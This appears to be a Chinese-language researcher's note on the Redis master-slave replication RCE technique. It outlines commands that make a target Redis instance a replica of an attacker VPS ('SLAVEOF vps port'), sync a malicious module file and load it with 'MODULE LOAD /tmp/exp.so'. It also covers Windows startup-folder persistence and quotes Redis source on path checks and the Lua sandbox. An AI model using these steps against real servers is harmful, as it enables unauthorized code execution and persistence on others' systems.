Redis Rce
Nice的Rce: 议题PPT
总结起来就是, 利用了主从特性传输了数据,然后通过模块加载,增加了执行命令的函数,从而rce。
这里有两点特别好用
1、可以无脏数据保存文件
2、模块加载,所以兼容性高
回顾之前的redis利用,通常分为写webshell、root权限写crontab或者ssh文件,但是以上就完美的解决以下问题:
1、后面高版本的redis启动默认是redis权限,并非root权限
2、写crontab反弹shell也仅仅局限于centos中。
环境:
docker pull redis:4.0
docker run --name redis-6379 -p 6379:6379 -d redis:4.0
info replication
也可以看到在sync的时候,会被数据存到rdb_filename中,也就是config set dbfilename value
的值。
已经朋友给出了Exp
整个流程就是
- 在目标上执行, 将自己vps设置为master:
SLAVEOF vps port
- 在目标上执行,设置一下dbfilename
- 通过同步,将模块文件写到目标的磁盘上:
FULLRESYNC <Z*40> 1\r\n$<len>\r\n<pld>
- 在目标上执行,加载模块:
MODULE LOAD /tmp/exp.so
坑点
1、原理上应该是不需要执行SAVE命令,测试过程中发现不执行貌似就触发不了写文件。
2、注意一下模块的兼容性,类似mysql udf一样,需要特定版本。
需要自己特定去编译so文件: https://github.com/RicterZ/RedisModules-ExecuteCommand
3、redis官网是没有windows版本的,都是大家改出来的,比如
windows redis下载:
https://github.com/dmajkic/redis/downloads
https://github.com/microsoftarchive/redis/releases
目前看到的redis版本大部分是没有模块加载的功能,但是还是可以利用主从模式传输文件,比如写一个干净文件到启动项,或者进行dll劫持。当然这里需要先设置一下dir。
CONFIG SET dir 'C:\\Users\\lemon\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'
不能从config set dbfilename xxx
去跨目录,因为官方设定它就只是一个文件名。
} else if (!strcasecmp(argv[0],"dbfilename") && argc == 2) {
if (!pathIsBaseName(argv[1])) {
err = "dbfilename can't be a path, just a filename";
goto loaderr;
}
zfree(server.rdb_filename);
server.rdb_filename = zstrdup(argv[1]);
其中pathIsBaseName是不允许你去跨目录的。
int pathIsBaseName(char *path) {
return strchr(path,'/') == NULL && strchr(path,'\\') == NULL;
}
4、5.0之后(暂未测试,但是目前的exp来看是不存在此问题,先做笔记)
不能使用config get、set去设置dbfilename,但是同步后的名字是有规律的: temp-<time>.<pid>.rdb
redis eval笔记
redis还可以通过eval去执行lua脚本,但是会存在一定限制。
/redis-unstable/src/scripting.c
void scriptingEnableGlobalsProtection(lua_State *lua) {
char *s[32];
sds code = sdsempty();
int j = 0;
/* strict.lua from: http://metalua.luaforge.net/src/lib/strict.lua.html.
* Modified to be adapted to Redis. */
s[j++]="local dbg=debug\n";
s[j++]="local mt = {}\n";
s[j++]="setmetatable(_G, mt)\n";
s[j++]="mt.__newindex = function (t, n, v)\n";
s[j++]=" if dbg.getinfo(2) then\n";
s[j++]=" local w = dbg.getinfo(2, \"S\").what\n";
s[j++]=" if w ~= \"main\" and w ~= \"C\" then\n";
s[j++]=" error(\"Script attempted to create global variable '\"..tostring(n)..\"'\", 2)\n";
s[j++]=" end\n";
s[j++]=" end\n";
s[j++]=" rawset(t, n, v)\n";
s[j++]="end\n";
s[j++]="mt.__index = function (t, n)\n";
s[j++]=" if dbg.getinfo(2) and dbg.getinfo(2, \"S\").what ~= \"C\" then\n";
s[j++]=" error(\"Script attempted to access nonexistent global variable '\"..tostring(n)..\"'\", 2)\n";
s[j++]=" end\n";
s[j++]=" return rawget(t, n)\n";
s[j++]="end\n";
s[j++]="debug = nil\n";
s[j++]=NULL;
for (j = 0; s[j] != NULL; j++) code = sdscatlen(code,s[j],strlen(s[j]));
luaL_loadbuffer(lua,code,sdslen(code),"@enable_strict_lua");
lua_pcall(lua,0,0,0);
sdsfree(code);
}
参考文章
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf